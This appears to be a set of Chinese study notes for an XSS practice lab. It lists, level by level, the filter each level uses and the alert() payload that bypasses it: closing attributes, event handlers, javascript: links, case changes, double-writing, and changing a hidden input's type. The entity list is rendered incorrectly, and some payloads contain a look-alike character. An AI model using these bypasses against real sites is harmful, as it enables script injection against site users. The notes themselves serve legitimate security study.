一、反射型(get)
<script>alert(1)</script>
二、闭合value和input标签
"><script>alert(1)</script>
(2F在url中就是/)
三、htmlspecialchars() 函数
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。当用户有权在您的页面上显示输入时,对于防止代码运行非常有用。
预定义的字符是:
- & (和号) 成为 &
- " (双引号) 成为 "
- ' (单引号) 成为 '(默认不对单引号进行转换)
- < (小于) 成为 <
- > (大于) 成为 >
避过这些符号即可
' οnclick='javascript:alert(2)
四、过滤 <>,没有用htmlspecialchars()
" οnclick="javascript:alert(2)
五、过滤<script 和on
用<a>标签绕过
"><a href="javascript:alert(alert(123));">xss</a>
六、大小写绕过
没有大小写转换函数
" Onclick="javascript:alert(2)
七、双写绕过
敏感字符串替换为空,没有循环或正则
"><scscriptript>alert(1)</scscriptript>
八、编码绕过
在href中可以直接执行js
javascRipt:alert(1);
九、通过 http://来检测是否是链接
可以写到后边绕过检测,并且//注释掉
javascRipt:alert(1);//http://
十、type=hidden
构造payload更改type类型
1&t_sort=" οnclick=alert('123') type="text" >